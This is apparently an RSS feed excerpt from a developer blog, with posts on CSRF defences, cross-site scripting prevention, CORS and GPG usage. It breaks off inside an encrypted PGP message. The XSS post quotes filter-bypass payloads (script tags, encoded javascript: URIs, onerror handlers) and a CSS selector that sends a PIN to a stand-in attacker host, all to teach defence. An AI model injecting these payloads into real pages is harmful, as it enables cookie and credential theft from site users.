&lt;p&gt;If we need to support cross-origin requests with credentials, we cannot use this.&lt;/p&gt;
&lt;h4 id=&#34;verifying-standard-headers&#34;&gt;Verifying standard headers&lt;/h4&gt;
&lt;p&gt;The backend can verify the &lt;code&gt;Origin&lt;/code&gt; or the &lt;code&gt;Referer&lt;/code&gt; header to check whether the request is a cross-origin, or same-site request. These headers are not always included, aren&amp;rsquo;t really reliable.&lt;/p&gt;
&lt;p&gt;(Browsers does something similar for CORS. See &lt;a href=&#34;https://horak.hu/posts/cors/&#34;&gt;cors.md&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;custom-header-for-ajax&#34;&gt;Custom header for AJAX&lt;/h4&gt;
&lt;p&gt;Only a few request headers can be set for an AJAX call without involving CORS, so setting one (and checking it in the backend side) will protect these API endpoints against CSRF.&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Cross Site Scripting (XSS)</title>
      <link>https://horak.hu/posts/xss/</link>
      <pubDate>Fri, 04 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/xss/</guid>
      <description>&lt;p&gt;Data (from untrusted source) gets into the application, then this data is later displayed in the website without being &lt;em&gt;properly&lt;/em&gt; validated/sanitized/escaped.&lt;/p&gt;</description>
      <content>&lt;p&gt;Data (from untrusted source) gets into the application, then this data is later displayed in the website without being &lt;em&gt;properly&lt;/em&gt; validated/sanitized/escaped.&lt;/p&gt;
&lt;h2 id=&#34;example&#34;&gt;Example&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-jsp&#34; data-lang=&#34;jsp&#34;&gt;&amp;lt;%-- search.jsp --%&amp;gt;
&amp;lt;% String searchParam = request.getParameter(&amp;#34;searchParam&amp;#34;); %&amp;gt;
&amp;lt;h2&amp;gt;Search results for &amp;lt;%= searchParam %&amp;gt;&amp;lt;/h2&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Imagine calling it via &lt;code&gt;http://whatever/search.jsp?searchParam=&amp;lt;script&amp;gt;alert(document.cookies)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to do?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Remove the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags!&lt;/em&gt; - &lt;code&gt;&amp;lt;scrIpt&amp;gt;&lt;/code&gt; works as well&lt;/li&gt;
&lt;li&gt;Use regexp like &lt;code&gt;/[sS][cC][rR][iI][pP][tT]/&lt;/code&gt; - &lt;code&gt;&amp;lt;img src=javascript:alert(1)&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;remove &lt;code&gt;javascript:&lt;/code&gt;&lt;/em&gt; - &lt;code&gt;&amp;lt;img src=jav&amp;amp;#x41;script:alert(1)&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;HTML decode, THEN remove&lt;/em&gt; - &lt;code&gt;&amp;lt;img src=nonexistent onerror=alert(1)&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;hellip; far from easy.&lt;/p&gt;
&lt;h2 id=&#34;prevention&#34;&gt;Prevention&lt;/h2&gt;
&lt;h3 id=&#34;never-insert-untrusted-data&#34;&gt;NEVER insert untrusted data&lt;/h3&gt;
&lt;p&gt;In a script:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;... NOT HERE...&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Inside a HTML comment:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;!-- ... NOT HERE ... --&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;As a tag or attribute name:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;NOTHERE&amp;gt;&amp;lt;/NOTHERE&amp;gt;&lt;/code&gt;
&lt;code&gt;&amp;lt;div NOTHERE=something&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Directly into CSS:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;style&amp;gt;... NOT HERE ...&amp;lt;/style&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;These places are almost impossible to escape/sanitize properly. Do not even try.&lt;/p&gt;
&lt;h3 id=&#34;-exceptions&#34;&gt;&amp;hellip; exceptions&lt;/h3&gt;
&lt;p&gt;Since sometimes we definitely need data that is coming from untrusted source.&lt;/p&gt;
&lt;h4 id=&#34;html-context&#34;&gt;HTML context&lt;/h4&gt;
&lt;p&gt;HTML encode before inserting something into HTML element context&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  ... HTMLENCODED UNTRUSTED DATA HERE ...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It might be sufficient to encode the following characters, to prevent switching into other execution contexts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;amp;lt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;gt;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&#39;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;amp;#x27;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;html-attribute-context&#34;&gt;HTML Attribute context&lt;/h4&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;attr&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;... ATTRIBUTE ENCODED UNTRUSTED DATA HERE ...&amp;#34;&lt;/span&gt;&amp;gt;content&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Always quote attributes with &lt;code&gt;&amp;quot;&lt;/code&gt; or &lt;code&gt;&#39;&lt;/code&gt;. Quoted attributes can be broken only by the corresponding quote, not quoted attributes can be broken out in may ways (with &lt;code&gt;[space]&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;Encode the corresponding quote in the data
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;amp;#x22;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&#39;&lt;/code&gt; =&amp;gt; &lt;code&gt;&amp;amp;#x27;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Some attributes are capable of executing their content, they should &lt;strong&gt;never&lt;/strong&gt; include untrusted data:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;href&lt;/code&gt; - &lt;code&gt;href=&amp;quot;javascript:alert(1)&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;all event handlers (&lt;code&gt;onclick&lt;/code&gt;, &lt;code&gt;onerror&lt;/code&gt;, &lt;code&gt;onload&lt;/code&gt;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;src&lt;/code&gt; - obviously&lt;/li&gt;
&lt;li&gt;&lt;code&gt;style&lt;/code&gt; - CSS context, dangerous&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;javascript-data&#34;&gt;JavaScript data&lt;/h4&gt;
&lt;p&gt;Do not insert untrusted data into JavaScript context.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BAD&lt;/strong&gt; example (from FD):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-jsp&#34; data-lang=&#34;jsp&#34;&gt;&amp;lt;script&amp;gt;
  window.browseData = &amp;lt;fd:ToJSON value=&amp;#34;${browsePotato}&amp;#34;/&amp;gt;; // well, it&amp;#39;s not even JSON...
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this example, &lt;code&gt;browsePotato&lt;/code&gt; contains some URL parameters, like &lt;code&gt;searchParam&lt;/code&gt;, &lt;code&gt;grpId&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;This is a proper JS object: &lt;code&gt;{ searchParam: &amp;quot;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;quot; }&lt;/code&gt;, and is completely OK in a JS file. But in an HTML, the HTML parser breaks the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag at the first &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&amp;hellip;&lt;/p&gt;
&lt;p&gt;Instead, put the HTML escaped JSON (really) data inside of an HTML tag, then read it via JS, and decode it:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-jsp&#34; data-lang=&#34;jsp&#34;&gt;&amp;lt;script type=&amp;#34;application/json-htmlencoded&amp;#34; id=&amp;#34;browsePotato&amp;#34;&amp;gt;
  &amp;lt;fd:ToEscapedJSON value=&amp;#34;${browsePotato}&amp;#34; /&amp;gt;
&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
  const dataEl = document.getElementById(&amp;#34;browsePotato&amp;#34;);
  window.browseData = JSON.parse(dataEl.textContent); // `textContent` is unescaped
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id=&#34;css&#34;&gt;CSS&lt;/h4&gt;
&lt;p&gt;Do not insert data into CSS context. It&amp;rsquo;s hard to be safe. Use CSS variables, that can be set via JS.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-CSS&#34; data-lang=&#34;CSS&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* obvious */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;whatever&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  background-url: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;javascript:alert(1)&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* not that obvious */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;input&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;pincode&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;value&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1234&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;background&lt;/span&gt;: url(&lt;span style=&#34;color:#e6db74&#34;&gt;https://h4x0r.org/log?pin=1234&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* ... */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;url-parameters&#34;&gt;URL parameters&lt;/h4&gt;
&lt;p&gt;URLencode everything that goes into URL parameter.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-jsp&#34; data-lang=&#34;jsp&#34;&gt;&amp;lt;a href=&amp;#34;/search.jsp?page=2&amp;amp;searchParam=&amp;lt;%= URLENCODE_THIS %&amp;gt;&amp;#34;&amp;gt;Search page 2&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(It&amp;rsquo;s basically attribute context, but easier to handle.)&lt;/p&gt;
&lt;h4 id=&#34;need-to-output-untrusted-html&#34;&gt;Need to output untrusted HTML&lt;/h4&gt;
&lt;p&gt;Use a well maintained sanitizer library, update it regularly.&lt;/p&gt;
&lt;p&gt;Examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Java - OWASP Java HTML Sanitizer&lt;/li&gt;
&lt;li&gt;JS - DOMPurify&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Don&amp;rsquo;t try to write your own sanitizer, you&amp;rsquo;ll fail.&lt;/p&gt;
&lt;h3 id=&#34;extra-protection&#34;&gt;Extra protection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;use &lt;code&gt;HTTPOnly&lt;/code&gt; option for cookies that are not needed by JS
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies&#34;&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;use proper &lt;code&gt;CSP&lt;/code&gt; header, it can prevent XSS by disabling inline JavaScripts
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy&#34;&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Cross-Origin Resource Sharing</title>
      <link>https://horak.hu/posts/cors/</link>
      <pubDate>Thu, 03 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/cors/</guid>
      <description>&lt;p&gt;Modern browsers apply the &lt;em&gt;same-origin policy&lt;/em&gt; to some resources, meaning they refuse to load or
restrict access to resources coming from other origins than the loaded website.
Servers can implement &lt;strong&gt;CORS&lt;/strong&gt; to describe which origins are permitted to load their resources.&lt;/p&gt;
&lt;p&gt;For some HTTP requests, browsers issue a &amp;ldquo;preflight&amp;rdquo; request (HTTP OPTIONS) to check whether
the resource is available for the given origin.&lt;/p&gt;</description>
      <content>&lt;p&gt;Modern browsers apply the &lt;em&gt;same-origin policy&lt;/em&gt; to some resources, meaning they refuse to load or
restrict access to resources coming from other origins than the loaded website.
Servers can implement &lt;strong&gt;CORS&lt;/strong&gt; to describe which origins are permitted to load their resources.&lt;/p&gt;
&lt;p&gt;For some HTTP requests, browsers issue a &amp;ldquo;preflight&amp;rdquo; request (HTTP OPTIONS) to check whether
the resource is available for the given origin.&lt;/p&gt;
&lt;h2 id=&#34;requests-using-cors&#34;&gt;Requests using CORS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;XMLHttpRequest&lt;/code&gt; or &lt;code&gt;fetch()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;web fonts&lt;/li&gt;
&lt;li&gt;WebGL textures&lt;/li&gt;
&lt;li&gt;Images/videos drawn to canvas using &lt;code&gt;drawImage()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;simple-requests&#34;&gt;Simple requests&lt;/h3&gt;
&lt;p&gt;Simple requests don&amp;rsquo;t trigger preflight.&lt;/p&gt;
&lt;p&gt;A request is a simple request if it meets all the following crireria:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Methods: &lt;em&gt;GET&lt;/em&gt;, &lt;em&gt;HEAD&lt;/em&gt;, &lt;em&gt;POST&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Only extra headers allowed:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Accept&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Language&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Language&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Type&lt;/code&gt; &lt;em&gt;(not all)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Allowed &lt;em&gt;Content-Type&lt;/em&gt; values (backward compatibility):
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;multipart/form-data&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;text/plain&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Browsers issue these kind of simple requests without preflight, and process their &lt;code&gt;Access-Control-*&lt;/code&gt; headers.&lt;/p&gt;
&lt;h3 id=&#34;requests-with-preflight&#34;&gt;Requests with preflight&lt;/h3&gt;
&lt;p&gt;Before sending requests (that doesn&amp;rsquo;t meet the criteria above) to an other origin, browsers issue a &lt;em&gt;preflight&lt;/em&gt; request to check if the server allows it.&lt;/p&gt;
&lt;p&gt;The preflight is an HTTP OPTIONS call with the following headers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Origin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Request-Method&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Request-Headers&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;credentials&#34;&gt;Credentials&lt;/h3&gt;
&lt;p&gt;By default, &lt;code&gt;XMLHttpRequest&lt;/code&gt; and &lt;code&gt;fetch()&lt;/code&gt; does not send HTTP cookies with cross-origin requests. It&amp;rsquo;s possible to include those with the &lt;code&gt;withCredentials&lt;/code&gt; parameter, but the server needs to respond with &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; otherwise the browser will drop the response.&lt;/p&gt;
&lt;p&gt;The wildcard &lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; cannot be used with credentials.&lt;/p&gt;
&lt;h3 id=&#34;response-headers&#34;&gt;Response headers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; - explicit origin or &lt;code&gt;*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Expose-Headers&lt;/code&gt; - the listed headers will be exposed to the browser&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Max-Age&lt;/code&gt; - the time in seconds the preflight request can be cached.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Headers&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;security&#34;&gt;Security&lt;/h3&gt;
&lt;p&gt;CORS only protects clients that implements it properly - browsers -, does not protect the backend from bots and such.&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>PGP/GPG</title>
      <link>https://horak.hu/posts/gpg/</link>
      <pubDate>Thu, 27 Jan 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/gpg/</guid>
      <description>&lt;p&gt;PGP: Pretty Good Privacy&lt;/p&gt;
&lt;p&gt;GPG: GNU Privacy Guard&lt;/p&gt;
&lt;h3 id=&#34;pgp&#34;&gt;PGP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;from 1991&lt;/li&gt;
&lt;li&gt;cryptographically sign/verify, encrypt/decrypt files, emails, etc.&lt;/li&gt;
&lt;li&gt;OpenPGP standard, RFC 4880&lt;/li&gt;
&lt;li&gt;key &amp;ldquo;verification&amp;rdquo; via fingerprints, &lt;em&gt;Web of trust&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;public/private keys&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;p&gt;PGP: Pretty Good Privacy&lt;/p&gt;
&lt;p&gt;GPG: GNU Privacy Guard&lt;/p&gt;
&lt;h3 id=&#34;pgp&#34;&gt;PGP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;from 1991&lt;/li&gt;
&lt;li&gt;cryptographically sign/verify, encrypt/decrypt files, emails, etc.&lt;/li&gt;
&lt;li&gt;OpenPGP standard, RFC 4880&lt;/li&gt;
&lt;li&gt;key &amp;ldquo;verification&amp;rdquo; via fingerprints, &lt;em&gt;Web of trust&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;public/private keys&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;gpg&#34;&gt;GPG&lt;/h3&gt;
&lt;p&gt;Free/open replacement for PGP, implements RFC 4880, from 1997.&lt;/p&gt;
&lt;h2 id=&#34;basic-usage&#34;&gt;Basic usage&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gpg --list-keys
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;... list of public keys you know about
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gpg --list-secret-keys
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# your private keys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sec   dsa1024 2004-09-28 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;SC&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      3CC6CD7FFD08EEEC39BD9962FF611208CD191EF6
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uid           &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;ultimate&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Horak Gyuri &amp;lt;dyuri@horak.hu&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssb   elg1024 2004-09-28 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;E&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sec   rsa4096 2017-06-18 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;SC&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;expires: 2033-06-14&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      067E886C5034E8C86B15CD274993F07B3EAE8D38
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uid           &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; unknown&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Gyuri Hork &amp;lt;dyuri@horak.hu&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uid           &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; unknown&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Gyuri Hork &amp;lt;gyuri@horak.hu&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssb   rsa4096 2017-06-18 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;E&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;expires: 2033-06-14&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encrypt file&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo hello &amp;gt; secret.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gpg --armor --encrypt titkos.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat titkos.txt.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-----BEGIN PGP MESSAGE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hQEOA63fG0ACEu5oEAP/cMTJbhUX3cmUpF3rEyJsmS/AMOOTkGUxIYOgE4vkg1WT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fcaOcKdf46zdpcEjFjHMiC59XK5EyoDeqGP48ZgH6tGuk781oi0F2B0oQIPkHvxQ
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3fROjO0Qmwr67mX9u4vghwt9joeblBX/oHCUgR91nWkg1/4O4BAQ7H97JjN//wAD
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/0hKEk+TN+KQd/JEHcJBxI6cIygTu9y4KKVxQN5iMCHn/IqeJv9J/SQ5SuDcO4z6
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;r+sj8wQYg5fUhsljgVUpG5mD7ob3otxZOlLJzfSTjheOiOYb3xNazuJsc9fWlw7Y
